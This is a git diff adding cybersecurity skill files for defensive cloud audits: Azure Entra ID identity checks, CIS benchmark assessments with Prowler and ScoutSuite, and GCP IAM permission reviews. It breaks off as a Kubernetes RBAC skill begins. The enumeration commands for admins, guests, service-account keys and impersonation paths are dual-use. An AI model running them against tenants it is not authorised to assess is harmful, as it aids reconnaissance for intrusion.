Tenant Configuration and Security Defaults + +Assess the tenant's baseline identity security settings including security defaults and legacy authentication status. + +```powershell +# Connect to Microsoft Graph +Connect-MgGraph -Scopes "Directory.Read.All","Policy.Read.All","AuditLog.Read.All" + +# Get tenant details +Get-MgOrganization | Select-Object DisplayName, Id, VerifiedDomains + +# Check if Security Defaults are enabled +Get-MgPolicyIdentitySecurityDefaultEnforcementPolicy | Select-Object IsEnabled + +# List authentication methods policies +Get-MgPolicyAuthenticationMethodPolicy | ConvertTo-Json -Depth 5 + +# Check legacy authentication status via Conditional Access +Get-MgIdentityConditionalAccessPolicy | Where-Object { + $_.Conditions.ClientAppTypes -contains "exchangeActiveSync" -or + $_.Conditions.ClientAppTypes -contains "other" +} | Select-Object DisplayName, State +``` + +### Step 2: Audit Privileged Role Assignments + +Review directory role assignments to identify over-privileged users, permanent admin accounts, and risky role configurations. + +```bash +# List all Global Administrator assignments +az rest --method GET \ + --url "https://graph.microsoft.com/v1.0/directoryRoles/filterByIds" \ + --body '{"ids":["62e90394-69f5-4237-9190-012177145e10"]}' | \ + az rest --method GET \ + --url "https://graph.microsoft.com/v1.0/directoryRoles?filter=displayName eq 'Global Administrator'" \ + --query "value[0].id" -o tsv + +# List all privileged role assignments using Graph API +az rest --method GET \ + --url "https://graph.microsoft.com/v1.0/roleManagement/directory/roleAssignments?\$expand=principal" \ + --query "value[*].{Role:roleDefinitionId, Principal:principal.displayName, PrincipalType:principal.@odata.type}" \ + -o table + +# Check for users with multiple admin roles +az ad user list --query "[].{UPN:userPrincipalName, DisplayName:displayName}" -o table + +# List service principals with admin role assignments +az rest --method GET \ + --url "https://graph.microsoft.com/v1.0/roleManagement/directory/roleAssignments?\$filter=principalOrganizationId eq 'TENANT_ID'" \ + -o json +``` + +### Step 3: Review Conditional Access Policies + +Audit conditional access policies for coverage gaps, particularly around MFA enforcement, device compliance, and location-based restrictions. + +```powershell +# List all Conditional Access policies +Get-MgIdentityConditionalAccessPolicy | Select-Object DisplayName, State, @{ + N='GrantControls'; E={$_.GrantControls.BuiltInControls -join ', '} +} | Format-Table -AutoSize + +# Identify policies in report-only mode (not enforced) +Get-MgIdentityConditionalAccessPolicy | Where-Object {$_.State -eq "enabledForReportingButNotEnforced"} | + Select-Object DisplayName + +# Check MFA enforcement coverage +Get-MgIdentityConditionalAccessPolicy | Where-Object { + $_.GrantControls.BuiltInControls -contains "mfa" +} | Select-Object DisplayName, State, @{ + N='Users'; E={$_.Conditions.Users.IncludeUsers -join ', '} +} + +# Find policies that exclude groups (potential bypass) +Get-MgIdentityConditionalAccessPolicy | Where-Object { + $_.Conditions.Users.ExcludeGroups.Count -gt 0 +} | Select-Object DisplayName, @{ + N='ExcludedGroups'; E={$_.Conditions.Users.ExcludeGroups -join ', '} +} +``` + +### Step 4: Identify Stale Accounts and Guest Users + +Find accounts that have not signed in recently, disabled accounts with active role assignments, and risky guest user configurations. + +```bash +# Find users who haven't signed in for 90+ days +az ad user list --query "[?signInActivity.lastSignInDateTime < '2025-11-25T00:00:00Z'].{UPN:userPrincipalName, LastSignIn:signInActivity.lastSignInDateTime, Enabled:accountEnabled}" -o table + +# List all guest users +az ad user list --filter "userType eq 'Guest'" \ + --query "[].{UPN:userPrincipalName, DisplayName:displayName, CreatedDate:createdDateTime}" \ + -o table + +# Find guest users with privileged roles +az rest --method GET \ + --url "https://graph.microsoft.com/v1.0/roleManagement/directory/roleAssignments?\$expand=principal" \ + --query "value[?principal.userType=='Guest'].{Role:roleDefinitionId,Guest:principal.userPrincipalName}" \ + -o table + +# Check for accounts with disabled MFA +az rest --method GET \ + --url "https://graph.microsoft.com/v1.0/reports/authenticationMethods/userRegistrationDetails" \ + --query "value[?!isMfaRegistered].{UPN:userPrincipalName,MfaRegistered:isMfaRegistered}" \ + -o table +``` + +### Step 5: Analyze Sign-In Logs for Risky Activity + +Review sign-in logs to identify anomalous authentication patterns, failed MFA challenges, and risky sign-in detections. + +```bash +# Get risky sign-ins from last 7 days +az rest --method GET \ + --url "https://graph.microsoft.com/v1.0/auditLogs/signIns?\$filter=riskLevelDuringSignIn ne 'none' and createdDateTime ge 2026-02-16T00:00:00Z" \ + --query "value[*].{User:userPrincipalName,Risk:riskLevelDuringSignIn,IP:ipAddress,App:appDisplayName,Status:status.errorCode}" \ + -o table + +# Get sign-ins from unfamiliar locations +az rest --method GET \ + --url "https://graph.microsoft.com/v1.0/auditLogs/signIns?\$filter=riskEventTypes_v2/any(r:r eq 'unfamiliarFeatures')" \ + --query "value[*].{User:userPrincipalName,Location:location.city,IP:ipAddress}" \ + -o table + +# Check for legacy authentication sign-ins +az rest --method GET \ + --url "https://graph.microsoft.com/v1.0/auditLogs/signIns?\$filter=clientAppUsed ne 'Browser' and clientAppUsed ne 'Mobile Apps and Desktop clients'" \ + --query "value[*].{User:userPrincipalName,ClientApp:clientAppUsed,Status:status.errorCode}" \ + -o table +``` + +### Step 6: Run ScoutSuite Automated Assessment + +Execute ScoutSuite for comprehensive automated checks across the Azure tenant configuration. + +```bash +# Run ScoutSuite against Azure +python3 -m ScoutSuite azure --cli \ + --report-dir ./scoutsuite-azure-report \ + --all-subscriptions + +# Review the generated HTML report +open ./scoutsuite-azure-report/azure-report.html +``` + +## Key Concepts + +| Term | Definition | +|------|------------| +| Microsoft Entra ID | Microsoft's cloud identity and access management service, formerly Azure Active Directory, providing authentication and authorization | +| Conditional Access | Policy engine that evaluates signals (user, device, location, risk) to enforce access controls like MFA, device compliance, or block access | +| Security Defaults | Microsoft's baseline identity protection settings that enforce MFA registration, block legacy auth, and protect privileged actions | +| Privileged Identity Management | Azure AD Premium P2 feature enabling just-in-time privileged access with approval workflows and time-bound role activation | +| Legacy Authentication | Older authentication protocols (POP3, IMAP, SMTP, ActiveSync) that do not support MFA and are commonly exploited for credential attacks | +| Risky Sign-In | Microsoft Entra Identity Protection detection of sign-in anomalies including impossible travel, unfamiliar locations, and malware-linked IPs | + +## Tools & Systems + +- **Microsoft Graph API**: Primary programmatic interface for querying Entra ID configuration, policies, roles, and audit logs +- **Microsoft Graph PowerShell SDK**: PowerShell module for Entra ID management and security auditing tasks +- **ScoutSuite**: Multi-cloud auditing tool with Azure provider support for IAM, storage, networking, and identity checks +- **AzureADRecon**: Community tool for comprehensive Azure AD reconnaissance and security assessment reporting +- **Microsoft Defender for Identity**: Cloud-based security solution for detecting identity-based threats and compromised credentials + +## Common Scenarios + +### Scenario: Post-Acquisition Azure Tenant Security Assessment + +**Context**: After acquiring a company, the security team needs to assess the Azure tenant identity posture before integrating it with the corporate Entra ID. + +**Approach**: +1. Enumerate all Global Administrators and check for personal accounts in admin roles +2. Review conditional access policies to verify MFA is enforced for all users, not just admins +3. Identify guest users with privileged access that may indicate third-party vendor over-permissioning +4. Check for stale accounts (no sign-in for 90+ days) that could be targets for credential attacks +5. Review sign-in logs for legacy authentication usage that bypasses MFA +6. Verify Security Defaults or equivalent CA policies block legacy auth protocols +7. Produce a risk report with prioritized remediation steps before tenant integration + +**Pitfalls**: Azure AD Premium P2 is required for risky sign-in detections and PIM. If the acquired tenant uses a lower license tier, many identity protection features will be unavailable. Guest users from partner tenants may have implicit access through dynamic groups that are not visible in standard role assignment queries. + +## Output Format + +``` +Azure Active Directory Security Audit Report +=============================================== +Tenant: acme-acquired.onmicrosoft.com +Tenant ID: a1b2c3d4-e5f6-7890-abcd-ef1234567890 +Audit Date: 2026-02-23 +License: Azure AD Premium P2 + +IDENTITY CONFIGURATION: + Security Defaults: Disabled (Conditional Access in use) + Conditional Access Policies: 12 (8 enforced, 3 report-only, 1 disabled) + Legacy Auth Blocked: Partial (blocked for admins only) + +PRIVILEGED ACCESS: + Global Administrators: 8 (recommended: <= 4) + Permanent admin assignments: 6 (no PIM activation required) + Service principals with admin: 3 + Guest users with privileged roles: 2 + +ACCOUNT HYGIENE: + Total users: 1,247 + Stale accounts (90+ days): 89 + Guest users: 234 + Users without MFA registered: 156 + +SIGN-IN RISK: + Risky sign-ins (last 30 days): 34 + Legacy auth sign-ins (last 7 days): 67 + Impossible travel detections: 5 + Unfamiliar location sign-ins: 12 + +CRITICAL FINDINGS: + 1. 8 Global Administrators with permanent assignments (use PIM) + 2. Legacy authentication not blocked for non-admin users + 3. 156 users without MFA registration + 4. 2 guest users with Privileged Role Administrator role +``` diff --git a/skills/auditing-cloud-with-cis-benchmarks/SKILL.md b/skills/auditing-cloud-with-cis-benchmarks/SKILL.md new file mode 100644 index 00000000..83d0baf4 --- /dev/null +++ b/skills/auditing-cloud-with-cis-benchmarks/SKILL.md @@ -0,0 +1,250 @@ +--- +name: auditing-cloud-with-cis-benchmarks +description: > + This skill details how to conduct cloud security audits using Center for Internet + Security benchmarks for AWS, Azure, and GCP. It covers interpreting CIS Foundations + Benchmark controls, running automated assessments with tools like Prowler and + ScoutSuite, remediating failed controls, and maintaining continuous compliance + monitoring against CIS v5 for AWS, v4 for Azure, and v4 for GCP. +domain: cybersecurity +subdomain: cloud-security +tags: [cis-benchmarks, cloud-audit, compliance-assessment, prowler, security-hardening] +version: 1.0.0 +author: mahipal +license: MIT +--- + +# Auditing Cloud with CIS Benchmarks + +## When to Use + +- When performing initial security audits of cloud environments against industry-standard benchmarks +- When preparing for SOC 2, ISO 27001, or regulatory audits that reference CIS controls +- When establishing a measurable security baseline for new cloud accounts or subscriptions +- When tracking compliance improvement over time with periodic reassessment +- When evaluating the security posture of acquired or inherited cloud environments + +**Do not use** for runtime threat detection (see detecting-cloud-threats-with-guardduty), for application-level security testing (see conducting-cloud-penetration-testing), or for compliance frameworks not based on CIS (refer to specific regulatory skill files). + +## Prerequisites + +- Read-only access to target cloud accounts (AWS SecurityAudit policy, Azure Reader role, GCP Viewer role) +- Prowler, ScoutSuite, or cloud-native CSPM tools installed and configured +- Understanding of CIS benchmark structure: sections, controls, profiles (Level 1 and Level 2) +- Remediation access for implementing fixes (separate from audit credentials) + +## Workflow + +### Step 1: Select Appropriate CIS Benchmark Version + +Choose the correct benchmark version for each cloud provider. Current versions as of 2025 include CIS AWS Foundations Benchmark v5.0, CIS Azure Foundations Benchmark v4.0, and CIS GCP Foundations Benchmark v4.0. + +``` +CIS Benchmark Coverage Areas: ++-------------------+-------------------------+------------------------+ +| Section | AWS v5.0 | Azure v4.0 | ++-------------------+-------------------------+------------------------+ +| Identity & Access | IAM policies, MFA, root | Azure AD, RBAC, PIM | +| Logging | CloudTrail, Config | Activity Log, Diag | +| Monitoring | CloudWatch alarms | Defender, Sentinel | +| Networking | VPC, SG, NACLs | NSG, ASG, Firewall | +| Storage | S3 encryption, access | Storage encryption | +| Database | RDS encryption | SQL TDE, auditing | ++-------------------+-------------------------+------------------------+ + +CIS Profile Levels: + Level 1: Practical security settings that can be implemented without significant + performance impact or reduced functionality + Level 2: Defense-in-depth settings that may reduce functionality or require + additional planning for implementation +``` + +### Step 2: Run Automated Assessment with Prowler + +Execute comprehensive CIS benchmark scans using Prowler for automated control evaluation across AWS, Azure, and GCP. + +```bash +# AWS CIS v5.0 assessment +prowler aws \ + --compliance cis_5.0_aws \ + --profile audit-account \ + --output-formats json-ocsf,html,csv \ + --output-directory ./cis-audit-$(date +%Y%m%d) + +# Azure CIS v4.0 assessment +prowler azure \ + --compliance cis_4.0_azure \ + --subscription-ids "sub-id-1,sub-id-2" \ + --output-formats json-ocsf,html,csv \ + --output-directory ./cis-audit-azure-$(date +%Y%m%d) + +# GCP CIS v4.0 assessment +prowler gcp \ + --compliance cis_4.0_gcp \ + --project-ids "project-1,project-2" \ + --output-formats json-ocsf,html,csv \ + --output-directory ./cis-audit-gcp-$(date +%Y%m%d) + +# Multi-account AWS scan using ScoutSuite +scout suite aws \ + --profile audit-account \ + --report-dir ./scout-report \ + --ruleset cis-5.0 \ + --force +``` + +### Step 3: Interpret Results and Prioritize Remediation + +Analyze audit results by section and severity. Prioritize Level 1 controls first as they represent fundamental security hygiene, then address Level 2 controls for defense in depth. + +```bash +# Parse Prowler results for failed controls +cat ./cis-audit-*/prowler-output-*.json | \ + jq '[.[] | select(.StatusExtended == "FAIL")] | group_by(.CheckID) | + map({control: .[0].CheckID, description: .[0].CheckTitle, + failed_resources: length, severity: .[0].Severity}) | + sort_by(-.failed_resources)' + +# Generate compliance score by section +cat ./cis-audit-*/prowler-output-*.json | \ + jq 'group_by(.Section) | map({ + section: .[0].Section, + total: length, + passed: [.[] | select(.StatusExtended == "PASS")] | length, + failed: [.[] | select(.StatusExtended == "FAIL")] | length, + score: (([.[] | select(.StatusExtended == "PASS")] | length) / length * 100 | round) + })' +``` + +### Step 4: Remediate Critical and High Controls + +Address failed controls starting with the highest impact items. Use AWS Config remediation, Azure Policy, or Terraform to apply fixes systematically. + +```bash +# CIS 1.4: Ensure no root account access key exists +aws iam list-access-keys --user-name root +# If keys exist, delete them +aws iam delete-access-key --user-name root --access-key-id AKIAEXAMPLE + +# CIS 2.1.1: Ensure S3 bucket default encryption is enabled +for bucket in $(aws s3api list-buckets --query 'Buckets[*].Name' --output text); do + aws s3api put-bucket-encryption --bucket "$bucket" \ + --server-side-encryption-configuration '{ + "Rules": [{"ApplyServerSideEncryptionByDefault": {"SSEAlgorithm": "AES256"}}] + }' 2>/dev/null && echo "Encrypted: $bucket" || echo "FAILED: $bucket" +done + +# CIS 3.1: Ensure CloudTrail is enabled in all regions +aws cloudtrail create-trail \ + --name organization-trail \ + --s3-bucket-name cloudtrail-logs-bucket \ + --is-multi-region-trail \ + --enable-log-file-validation \ + --kms-key-id arn:aws:kms:us-east-1:123456789012:key/key-id + +aws cloudtrail start-logging --name organization-trail + +# CIS 4.x: Configure CloudWatch metric filters and alarms +aws logs put-metric-filter \ + --log-group-name CloudTrail/DefaultLogGroup \ + --filter-name UnauthorizedAPICalls \ + --filter-pattern '{ ($.errorCode = "*UnauthorizedAccess*") || ($.errorCode = "AccessDenied*") }' \ + --metric-transformations metricName=UnauthorizedAPICalls,metricNamespace=CISBenchmark,metricValue=1 +``` + +### Step 5: Establish Continuous Compliance Monitoring + +Deploy automated compliance monitoring to detect configuration drift between periodic audits. Use AWS Security Hub, Azure Policy, or GCP Security Command Center. + +```bash +# AWS: Enable CIS v5.0 in Security Hub +aws securityhub batch-enable-standards \ + --standards-subscription-requests '[ + {"StandardsArn": "arn:aws:securityhub:::ruleset/cis-aws-foundations-benchmark/v/5.0.0"} + ]' + +# Azure: Assign CIS benchmark policy initiative +az policy assignment create \ + --name cis-azure-benchmark \ + --scope "/subscriptions/" \ + --policy-set-definition "1a5bb27d-173f-493e-9568-eb56638dbd0e" \ + --params '{"effect": {"value": "AuditIfNotExists"}}' + +# Schedule periodic Prowler assessments +# Run weekly via cron or CI/CD pipeline +0 2 * * 1 prowler aws --compliance cis_5.0_aws --output-formats csv --output-directory /opt/audits/weekly-$(date +\%Y\%m\%d) +``` + +## Key Concepts + +| Term | Definition | +|------|------------| +| CIS Benchmark | Prescriptive security configuration guidelines developed by the Center for Internet Security through community consensus | +| Level 1 Profile | Practical security controls implementable without significant performance or functionality impact, representing security hygiene | +| Level 2 Profile | Defense-in-depth controls that may restrict functionality and require careful planning before implementation | +| Foundations Benchmark | CIS benchmark specifically for cloud providers covering IAM, logging, monitoring, networking, and storage security | +| Control ID | Unique numerical identifier for each CIS recommendation (e.g., 1.4 for root access key checks, 2.1.1 for S3 encryption) | +| Compliance Score | Percentage of CIS controls in a passing state, tracked over time to measure security posture improvement | +| Automated Assessment | Tool-driven evaluation of CIS controls using cloud provider APIs to check resource configurations against benchmark requirements | +| Remediation Runbook | Documented step-by-step procedure for fixing a specific failed CIS control, including pre-checks and validation | + +## Tools & Systems + +- **Prowler**: Open-source cloud security tool performing 300+ checks including CIS benchmark assessments for AWS, Azure, and GCP +- **ScoutSuite**: Multi-cloud security auditing tool with CIS benchmark rule sets generating HTML reports +- **AWS Security Hub**: Native AWS service supporting CIS AWS Foundations Benchmark as a security standard +- **Azure Policy**: Governance service with built-in CIS benchmark policy initiatives for automated compliance monitoring +- **GCP Security Command Center**: Native GCP service evaluating configurations against CIS GCP Foundations Benchmark + +## Common Scenarios + +### Scenario: Pre-Audit CIS Assessment for SOC 2 Certification + +**Context**: A SaaS company pursuing SOC 2 Type II certification needs to demonstrate cloud security controls aligned to CIS benchmarks. The auditor requires evidence of continuous compliance monitoring across 45 AWS accounts. + +**Approach**: +1. Run Prowler CIS v5.0 assessment across all 45 accounts to establish the baseline compliance score +2. Export results to CSV and categorize failures by section (IAM, Logging, Monitoring, Networking) +3. Map each CIS control to the relevant SOC 2 Trust Services Criteria (CC6.1, CC6.6, CC7.1, etc.) +4. Remediate all Level 1 control failures within 30 days and Level 2 within 60 days +5. Enable CIS v5.0 in AWS Security Hub for continuous monitoring and automated drift detection +6. Generate weekly compliance reports showing improvement trajectory for the auditor +7. Document exceptions for controls intentionally not implemented with risk acceptance justification + +**Pitfalls**: Remediating controls without testing in a staging environment first can break production workloads. Ignoring Level 2 controls entirely weakens the audit narrative even if they are not strictly required. + +## Output Format + +``` +CIS Benchmark Audit Report +============================ +Cloud Provider: AWS +Benchmark Version: CIS AWS Foundations Benchmark v5.0 +Accounts Assessed: 45 +Assessment Date: 2025-02-23 +Tool: Prowler v4.3.0 + +OVERALL COMPLIANCE SCORE: 74% + +COMPLIANCE BY SECTION: + 1. Identity and Access Management: 68% (41/60 controls passed) + 2. Storage: 82% (28/34 controls passed) + 3. Logging: 91% (20/22 controls passed) + 4. Monitoring: 55% (18/33 controls passed) + 5. Networking: 78% (32/41 controls passed) + +TOP FAILED CONTROLS (by affected accounts): + [1.4] Root account has active access keys - 3/45 accounts + [1.5] MFA not enabled for root account - 2/45 accounts + [2.1.1] S3 default encryption not enabled - 12/45 accounts + [3.1] CloudTrail not multi-region - 8/45 accounts + [4.3] No alarm for root account usage - 28/45 accounts + [5.1] VPC flow logs not enabled - 15/45 accounts + [5.4] Security groups allow 0.0.0.0/0 ingress - 22/45 accounts + +REMEDIATION PRIORITY: + Critical (Fix within 7 days): Root access keys, missing root MFA + High (Fix within 30 days): S3 encryption, CloudTrail, VPC flow logs + Medium (Fix within 60 days): CloudWatch alarms, security group restrictions + Low (Fix within 90 days): Level 2 controls, informational items +``` diff --git a/skills/auditing-gcp-iam-permissions/SKILL.md b/skills/auditing-gcp-iam-permissions/SKILL.md new file mode 100644 index 00000000..fb6d2724 --- /dev/null +++ b/skills/auditing-gcp-iam-permissions/SKILL.md @@ -0,0 +1,308 @@ +--- +name: auditing-gcp-iam-permissions +description: > + Auditing Google Cloud Platform IAM permissions to identify overly permissive bindings, + primitive role usage, service account key proliferation, and cross-project access risks + using gcloud CLI, Policy Analyzer, and IAM Recommender. +domain: cybersecurity +subdomain: cloud-security +tags: [cloud-security, gcp, iam, permissions-audit, service-accounts, policy-analyzer] +version: "1.0" +author: mahipal +license: MIT +--- + +# Auditing GCP IAM Permissions + +## When to Use + +- When performing security assessments of GCP organization or project IAM configurations +- When identifying service accounts with excessive permissions or unused access +- When compliance requirements mandate review of access controls and role assignments +- When investigating potential lateral movement through IAM misconfigurations +- When reducing the blast radius of compromised credentials by scoping down permissions + +**Do not use** for VPC firewall rule auditing (use network security tools), for GKE RBAC auditing (use Kubernetes-specific RBAC tools), or for real-time threat detection on IAM actions (use SCC Event Threat Detection). + +## Prerequisites + +- GCP organization or project with `roles/iam.securityReviewer` and `roles/cloudAsset.viewer` +- gcloud CLI authenticated with appropriate permissions +- Cloud Asset API enabled (`gcloud services enable cloudasset.googleapis.com`) +- IAM Recommender API enabled (`gcloud services enable recommender.googleapis.com`) +- Policy Analyzer API enabled (`gcloud services enable policyanalyzer.googleapis.com`) + +## Workflow + +### Step 1: Enumerate IAM Bindings Across the Organization + +List all IAM bindings at organization, folder, and project levels to understand the full access landscape. + +```bash +# Organization-level IAM bindings +gcloud organizations get-iam-policy ORG_ID \ + --format=json > org-iam-policy.json + +# Search all IAM policies across the organization +gcloud asset search-all-iam-policies \ + --scope=organizations/ORG_ID \ + --format="table(resource, policy.bindings.role, policy.bindings.members)" \ + --limit=500 + +# Find all users and service accounts with Owner role +gcloud asset search-all-iam-policies \ + --scope=organizations/ORG_ID \ + --query="policy:roles/owner" \ + --format="table(resource, policy.bindings.members)" + +# Find all bindings using primitive roles (Owner, Editor, Viewer) +gcloud asset search-all-iam-policies \ + --scope=organizations/ORG_ID \ + --query="policy:roles/owner OR policy:roles/editor" \ + --format=json | python3 -c " +import json, sys +data = json.load(sys.stdin) +for result in data: + resource = result.get('resource', '') + for binding in result.get('policy', {}).get('bindings', []): + role = binding.get('role', '') + if role in ['roles/owner', 'roles/editor']: + for member in binding.get('members', []): + print(f'{resource} | {role} | {member}') +" +``` + +### Step 2: Audit Service Accounts and Their Keys + +Identify service accounts with excessive permissions, user-managed keys, and unused accounts. + +```bash +# List all service accounts in a project +gcloud iam service-accounts list \ + --project=PROJECT_ID \ + --format="table(email, displayName, disabled)" + +# Check for user-managed keys (should be minimized) +for sa in $(gcloud iam service-accounts list --project=PROJECT_ID --format="value(email)"); do + keys=$(gcloud iam service-accounts keys list \ + --iam-account="$sa" \ + --managed-by=user \ + --format="table(name.basename(),validAfterTime,validBeforeTime)") + if [ -n "$keys" ]; then + echo "=== $sa ===" + echo "$keys" + fi +done + +# Find service accounts with admin roles across all projects +gcloud asset search-all-iam-policies \ + --scope=organizations/ORG_ID \ + --query="policy.bindings.members:serviceAccount AND (policy:roles/owner OR policy:roles/editor OR policy:admin)" \ + --format="table(resource, policy.bindings.role, policy.bindings.members)" + +# Check service account IAM policies (who can impersonate) +for sa in $(gcloud iam service-accounts list --project=PROJECT_ID --format="value(email)"); do + echo "=== $sa ===" + gcloud iam service-accounts get-iam-policy "$sa" --format=json 2>/dev/null +done +``` + +### Step 3: Use IAM Recommender to Identify Excess Permissions + +Leverage GCP's IAM Recommender to find roles that grant more access than actually used. + +```bash +# List IAM role recommendations for a project +gcloud recommender recommendations list \ + --project=PROJECT_ID \ + --recommender=google.iam.policy.Recommender \ + --location=global \ + --format="table(name, description, priority, stateInfo.state)" + +# Get detailed recommendation +gcloud recommender recommendations describe RECOMMENDATION_ID \ + --project=PROJECT_ID \ + --recommender=google.iam.policy.Recommender \ + --location=global \ + --format=json + +# List insights about IAM usage +gcloud recommender insights list \ + --project=PROJECT_ID \ + --insight-type=google.iam.policy.Insight \ + --location=global \ + --format="table(name, description, severity, category)" + +# Apply a recommendation (after review) +gcloud recommender recommendations mark-claimed RECOMMENDATION_ID \ + --project=PROJECT_ID \ + --recommender=google.iam.policy.Recommender \ + --location=global \ + --etag=ETAG +``` + +### Step 4: Analyze Effective Permissions with Policy Analyzer + +Use Policy Analyzer to determine effective access for specific principals or resources. + +```bash +# Check who has access to a specific resource +gcloud asset analyze-iam-policy \ + --organization=ORG_ID \ + --full-resource-name="//storage.googleapis.com/projects/_/buckets/sensitive-data-bucket" \ + --format="table(identityList.identities, accessControlLists.accesses.role)" + +# Check what resources a specific user can access +gcloud asset analyze-iam-policy \ + --organization=ORG_ID \ + --identity="user:developer@company.com" \ + --format="table(accessControlLists.resources.fullResourceName, accessControlLists.accesses.role)" + +# Check who can perform a specific action +gcloud asset analyze-iam-policy \ + --organization=ORG_ID \ + --full-resource-name="//cloudresourcemanager.googleapis.com/projects/PROJECT_ID" \ + --permissions="iam.serviceAccounts.actAs,iam.serviceAccountKeys.create" \ + --format="table(identityList.identities, accessControlLists.accesses.permission)" + +# Find all principals with allUsers or allAuthenticatedUsers access +gcloud asset search-all-iam-policies \ + --scope=organizations/ORG_ID \ + --query="policy:allUsers OR policy:allAuthenticatedUsers" \ + --format="table(resource, policy.bindings.role, policy.bindings.members)" +``` + +### Step 5: Check for Domain-Wide Delegation and Impersonation Risks + +Identify service accounts with domain-wide delegation and impersonation capabilities. + +```bash +# Check for service accounts with domain-wide delegation +# (Requires Admin SDK access to list delegated accounts) +gcloud iam service-accounts list --project=PROJECT_ID --format=json | python3 -c " +import json, sys +accounts = json.load(sys.stdin) +for sa in accounts: + email = sa.get('email', '') + # Check if the SA has domain-wide delegation enabled + # This requires Admin SDK API access + print(f'SA: {email} - Check admin.google.com for delegation status') +" + +# Find service accounts that other identities can impersonate +for sa in $(gcloud iam service-accounts list --project=PROJECT_ID --format="value(email)"); do + policy=$(gcloud iam service-accounts get-iam-policy "$sa" --format=json 2>/dev/null) + if echo "$policy" | python3 -c " +import json, sys +p = json.load(sys.stdin) +for b in p.get('bindings', []): + if b['role'] in ['roles/iam.serviceAccountTokenCreator', 'roles/iam.serviceAccountUser']: + print(f' {b[\"role\"]}: {b[\"members\"]}') +" 2>/dev/null; then + echo "=== Impersonation risk: $sa ===" + fi +done +``` + +### Step 6: Generate Audit Report and Apply Remediation + +Compile findings and implement recommended permission reductions. + +```bash +# Remove primitive role and replace with predefined role +gcloud projects remove-iam-policy-binding PROJECT_ID \ + --member="user:developer@company.com" \ + --role="roles/editor" + +gcloud projects add-iam-policy-binding PROJECT_ID \ + --member="user:developer@company.com" \ + --role="roles/compute.viewer" + +gcloud projects add-iam-policy-binding PROJECT_ID \ + --member="user:developer@company.com" \ + --role="roles/storage.objectViewer" + +# Delete unused service account keys +gcloud iam service-accounts keys delete KEY_ID \ + --iam-account=SA_EMAIL + +# Disable unused service accounts +gcloud iam service-accounts disable SA_EMAIL --project=PROJECT_ID +``` + +## Key Concepts + +| Term | Definition | +|------|------------| +| Primitive Role | Legacy GCP roles (Owner, Editor, Viewer) that grant broad permissions across all services, not recommended for production | +| Predefined Role | GCP-managed role scoped to specific services and actions, providing more granular access than primitive roles | +| IAM Recommender | GCP ML-based service that analyzes actual permission usage and suggests role reductions to achieve least privilege | +| Policy Analyzer | Tool for analyzing effective IAM access across the organization hierarchy, answering who-can-access-what queries | +| Service Account Key | User-managed credential for service account authentication, a security risk as keys can be exported and do not auto-expire | +| Domain-Wide Delegation | Grants a service account the ability to impersonate any user in the Google Workspace domain, a significant privilege escalation risk | + +## Tools & Systems + +- **gcloud CLI**: Primary tool for querying and managing GCP IAM policies, service accounts, and role bindings +- **IAM Recommender**: ML-based recommendation engine for reducing excessive permissions based on actual usage +- **Policy Analyzer**: Organization-wide effective access analysis tool for understanding who can access what +- **Cloud Asset Inventory**: Cross-project search for IAM policies and resource metadata +- **ScoutSuite**: Multi-cloud auditing tool with GCP IAM-specific checks for role assignments and service accounts + +## Common Scenarios + +### Scenario: Reducing Primitive Role Usage Across a GCP Organization + +**Context**: An audit reveals that 60% of IAM bindings across the organization use primitive roles (Owner/Editor). The security team needs to migrate to predefined roles without disrupting developer workflows. + +**Approach**: +1. Run `gcloud asset search-all-iam-policies` to inventory all primitive role bindings +2. Use IAM Recommender to get ML-based suggestions for replacement predefined roles +3. For each binding, use Policy Analyzer to understand what the principal actually accesses +4. Create a mapping document: primitive role -> specific predefined roles needed +5. Apply predefined roles alongside primitive roles for a testing period +6. Monitor for access denied errors using Cloud Audit Logs +7. Remove primitive roles after confirming no access issues over 2 weeks + +**Pitfalls**: Primitive roles include permissions across all GCP services, so replacing them requires multiple predefined roles. The Recommender may suggest overly restrictive roles if the observation period does not capture all use cases. Custom roles can fill gaps where no predefined role matches the exact permission set needed. + +## Output Format + +``` +GCP IAM Permissions Audit Report +=================================== +Organization: acme-org (ORG_ID: 123456789) +Projects Audited: 25 +Audit Date: 2026-02-23 + +IAM BINDING SUMMARY: + Total bindings: 342 + Using primitive roles: 205 (60%) + Using predefined roles: 112 (33%) + Using custom roles: 25 (7%) + +CRITICAL FINDINGS: +[IAM-001] Service Account with Owner Role + SA: admin-sa@prod-project.iam.gserviceaccount.com + Role: roles/owner on project prod-project + User-Managed Keys: 3 (oldest: 14 months) + Remediation: Replace with specific predefined roles, delete old keys + +[IAM-002] allAuthenticatedUsers Binding + Resource: gs://public-data-bucket + Role: roles/storage.objectViewer + Risk: Any Google account holder can read bucket contents + Remediation: Restrict to specific user groups or service accounts + +SERVICE ACCOUNT HEALTH: + Total service accounts: 67 + With user-managed keys: 23 + Keys older than 90 days: 18 + Unused accounts (90+ days): 12 + With domain-wide delegation: 2 + +RECOMMENDER SUGGESTIONS: + Total recommendations: 45 + Priority HIGH: 12 + Estimated permissions reduced: 2,847 individual permissions +``` diff --git a/skills/auditing-kubernetes-cluster-rbac/SKILL.md b/skills/auditing-kubernetes-cluster-rbac/SKILL.md new file mode 100644 index 00000000..a97b8605 --- /dev/null +++ b/skills/auditing-kubernetes-cluster-rbac/SKILL.md @@ -0,0 +1,312 @@ +--- +name: auditing-kubernetes-cluster-rbac +description: > + Auditing Kubernetes cluster RBAC configurations to identify overly permissive roles, + wildcard permissions, dangerous ClusterRoleBindings, service account abuse, and + privilege escalation paths using kubectl, rbac-tool, KubiScan, and Kubeaudit. +domain: cybersecurity +subdomain: cloud-security +tags: [cloud-security, kubernetes, rbac, access-control, eks, gke, aks] +version: "1.0" +author: mahipal +license: MIT +--- + +# Auditing Kubernetes Cluster RBAC + +## When to Use + +- When performing security assessments of Kubernetes clusters (EKS, GKE, AKS, or self-managed) +- When validating that RBAC policies enforce least privilege for users and service accounts +- When investigating potential lateral movement or privilege escalation within a Kubernetes cluster +- When compliance audits require documentation of access controls and permissions +- When onboarding new teams to a shared cluster and defining appropriate RBAC policies + +**Do not use** for network policy auditing (use Cilium or Calico network policy tools), for container image scanning (use Trivy or Grype), or for runtime security monitoring (use Falco or Sysdig Secure). + +## Prerequisites + +- kubectl configured with cluster-admin or equivalent read permissions to the target cluster +- rbac-tool installed (`kubectl krew install rbac-tool` or binary from GitHub) +- KubiScan installed (`pip install kubiscan`) +- Kubeaudit installed (`brew install kubeaudit` or from GitHub releases) +- Access to the cluster's audit logs for correlating RBAC findings with actual API access + +## Workflow + +### Step 1: Enumerate ClusterRoles and Roles with Dangerous 